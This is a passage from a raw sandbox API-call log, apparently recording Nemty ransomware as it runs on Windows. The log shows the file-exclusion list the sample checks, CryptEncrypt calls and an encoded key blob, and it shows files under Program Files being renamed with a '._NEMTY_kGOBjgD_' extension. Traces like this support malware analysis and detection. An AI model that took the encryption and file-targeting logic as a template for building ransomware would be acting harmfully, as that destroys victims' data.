lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.132] CloseHandle (hObject=0xffffffff) returned 0 [0149.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0149.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0149.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_rest.png._nemty_kgobjgd_")) returned 0 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.132] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="reveal_down.png", cAlternateFileName="")) returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2=".") returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="..") returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="...") returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="windows") returned -1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="$RECYCLE.BIN") returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="rsa") returned -1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="NTDETECT.COM") returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="ntldr") returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="MSDOS.SYS") returned 1 [0149.132] lstrcmpiW (lpString1="reveal_down.png", lpString2="IO.SYS") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="boot.ini") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="boot.ini") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="ntuser.dat") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="desktop.ini") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="CONFIG.SYS") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="RECYCLER") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="BOOTSECT.BAK") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="bootmgr") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="programdata") returned 1 [0149.133] lstrcmpiW (lpString1="reveal_down.png", lpString2="appdata") returned 1 [0149.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_down.png", lpUsedDefaultChar=0x0) returned 15 [0149.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_down.png", lpUsedDefaultChar=0x0) returned 15 [0149.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_down.png", lpUsedDefaultChar=0x0) returned 15 [0149.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_down.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_down.png", lpUsedDefaultChar=0x0) returned 15 [0149.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0149.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0149.133] Sleep (dwMilliseconds=0x5) [0149.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc899db0, dwHighDateTime=0x1d561e8)) [0149.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc899db0, dwHighDateTime=0x1d561e8)) [0149.134] GetLastError () returned 0x5 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.134] GetLastError () returned 0x5 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.134] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0149.134] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0149.134] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0149.134] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="JI6NLy8C7zhQss5K2YOi1hFe0+C3svdU+vRhDLXX2hOexY7ct4Co2Sr2WdmwSgtV\r\nR7i3z0v6m7wOSZbWutmJOTHKqX0hu4dJ5hNg4hp0WBXUQ2HWCBWVy5PefedUMyf5\r\nJc2kvtQIU4LPKXI+UYC9HzAkE6ZJWP9FLuYWB32N1iFNUjBOzBZUsifv/myNMyt5\r\nPvvkzUXvCy5eR1XMMXxI1amODHvsfscb+SCa+UAyebGGSpanN5GNCRcJvXrsOgrf\r\n55xHr+tk+4d79WtnA/vWWb+/vWzLl4VR3xRn3vLmLhXhrlG/EQiOk3RdV97rZuoz\r\nrfc44+LYWsiXGL5VJGg1eQ==\r\n", pcchString=0x653e91c) returned 1 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0149.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0149.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.134] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.135] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0149.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.153] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.182] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.182] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, 